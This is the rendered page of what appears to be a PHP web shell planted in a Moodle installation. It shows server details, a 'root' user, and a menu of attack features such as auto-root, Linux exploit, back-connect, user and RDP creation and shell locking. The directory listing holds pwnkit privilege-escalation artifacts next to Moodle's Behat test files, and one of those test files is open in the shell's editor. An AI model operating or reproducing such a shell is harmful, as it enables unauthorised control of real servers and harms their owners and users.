Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
contentbank /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
access_permissions.feature
1.07
KB
-rwxrwxrwx
delete_content.feature
3.51
KB
-rwxrwxrwx
edit_content.feature
9.98
KB
-rwxrwxrwx
events.feature
3.24
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
search_content.feature
2.7
KB
-rwxrwxrwx
sort_content.feature
1.83
KB
-rwxrwxrwx
view_preferences.feature
1.22
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delete_content.feature
@core @core_contentbank @contentbank_h5p @_file_upload @javascript Feature: Delete H5P file from the content bank In order remove H5P content from the content bank As an admin I need to be able to delete any H5P content from the content bank Background: Given I log in as "admin" And I follow "Manage private files..." And I upload "h5p/tests/fixtures/filltheblanks.h5p" file to "Files" filemanager And I click on "Save changes" "button" And I am on site homepage And I turn editing mode on And I add the "Navigation" block if not present And I configure the "Navigation" block And I set the following fields to these values: | Page contexts | Display throughout the entire site | And I press "Save changes" And I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Content bank" "link" in the "Navigation" "block" And I click on "Upload" "link" And I click on "Choose a file..." "button" And I click on "Private files" "link" in the ".fp-repo-area" "css_element" And I click on "filltheblanks.h5p" "link" And I click on "Select this file" "button" And I click on "Save changes" "button" Scenario: Admins can delete content from the content bank Given I open the action menu in "region-main-settings-menu" "region" And I should see "Delete" When I choose "Delete" in the open action menu And I should see "Are you sure you want to delete the content 'filltheblanks.h5p'" And I click on "Cancel" "button" in the "Delete content" "dialogue" Then I should see "filltheblanks.h5p" And I open the action menu in "region-main-settings-menu" "region" And I choose "Delete" in the open action menu And I click on "Delete" "button" in the "Delete content" "dialogue" And I wait until the page is ready And I should see "The content has been deleted." And I should not see "filltheblanks.h5p" Scenario: Users without the required capability can only delete their own content Given the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/contentbank:deleteanycontent | Prohibit | manager | System | | And the following "users" exist: | username | firstname | lastname | email | | manager | Max | Manager | man@example.com | And the following "role assigns" exist: | user | role | contextlevel | reference | | manager | manager | System | | And I log out And I log in as "manager" And I follow "Manage private files..." And I upload "h5p/tests/fixtures/find-the-words.h5p" file to "Files" filemanager And I click on "Save changes" "button" When I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Content bank" "link" in the "Navigation" "block" And I should see "filltheblanks.h5p" And I follow "filltheblanks.h5p" Then "Delete" "link" should not exist in the "region-main-settings-menu" "region" And I click on "Content bank" "link" And I click on "Upload" "link" And I click on "Choose a file..." "button" And I click on "Private files" "link" in the ".fp-repo-area" "css_element" And I click on "find-the-words.h5p" "link" And I click on "Select this file" "button" And I click on "Save changes" "button" And I open the action menu in "region-main-settings-menu" "region" And I should see "Delete"
Close